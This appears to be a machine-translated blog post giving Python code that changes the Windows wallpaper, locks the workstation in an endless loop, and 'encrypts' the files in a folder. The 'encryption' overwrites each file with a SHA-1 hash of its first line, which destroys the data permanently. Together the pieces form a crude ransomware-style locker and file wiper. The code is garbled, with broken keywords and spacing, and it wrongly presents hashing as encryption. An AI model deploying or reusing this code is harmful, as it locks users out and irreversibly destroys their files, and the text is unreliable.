python realize replace the computer desktop wallpaper, lock screen, file encryption

python achieve change the wallpaper and lock screen Code

# Control windows system 
Import Win32API, win32con, win32gui
 # can be used to call python package dll dynamic libraries, embedded development 
from ctypes Import *
 # Sleep Time package control program 
Import Time
 DEF desktop_img (bmp_path):
     # Open windows registry and setting properties HKEY_CURRENT_USER 
    K = win32api.RegOpenKeyEx (win32con.HKEY_CURRENT_USER,
                               " Control Panel \\ Desktop " , 0, win32con.KEY_SET_VALUE)
     # write attribute value in the registry HKEY_CURRENT_USER, 0 represents centered wallpaper, stretch table 2 represents 
    win32api.RegSetValueEx (K, " wapaperStyle " , 0, win32con.REG_SZ," 2 " ) 
    win32api.RegSetValueEx (k, " Tilewallpaper " , 0, win32con.REG_SZ, " 0 " )
     # refresh the desktop 
    win32gui.SystemParametersInfo (win32con.SPI_SETDESKWALLPAPER, bmp_path, win32con.SPIF_SENDWININICHANGE) 
desktop_img ( " E: \\ Backup \ \ backgroundDefault.jpg " )
 # system lock 
'' ' 
the use of an endless loop to call a user32.dll dynamic library windows system reaches a locked state 
' '' 
DEF lock_windows ():
     the while True:
         # API call system at the bottom, Loading dynamic libraries 
        user32 = windll.LoadLibrary ( "user32.dll")
        user32.LockWorkStation()
        time.sleep(30)
lock_windows()

 

python implementation file encryption method

# System package to find the file with 
Import   os
 # file encryption package, a standard library 
Import hashlib 

DEF LOCK_FILE (File):
 #      the path with "-" and "-user" converted into a user's directory 
    path = os.path.expanduser (File)
 # returns the specified folder contains the file or folder name list 
    for f in os.listdir (path):
         # space to delete the file name 
        swd = f.strip ()
         Print (swd)
         # operation documents, file operations and encrypt rb + read bytes 
        with Open (File + " / " + SWD, " rb + " ) AS F: 
            POD =f.readline ()
             # encrypt 
            the SHAL = hashlib.sha1 (POD)
 #              converting the encrypted content into a hexadecimal string value 
            OSV = shal.hexdigest () 
        with Open (File + " / " + SWD, " WB " ) AS B: 
            GS = bytes (OSV, encoding = " UTF-. 8 " ) 
            b.write (GS) 
            Print ( " encryption is complete:% S " % file) 
LOCK_FILE ( " D: \\ encrypted file directory " )

 

Guess you like

Origin www.cnblogs.com/pychina/p/11322411.html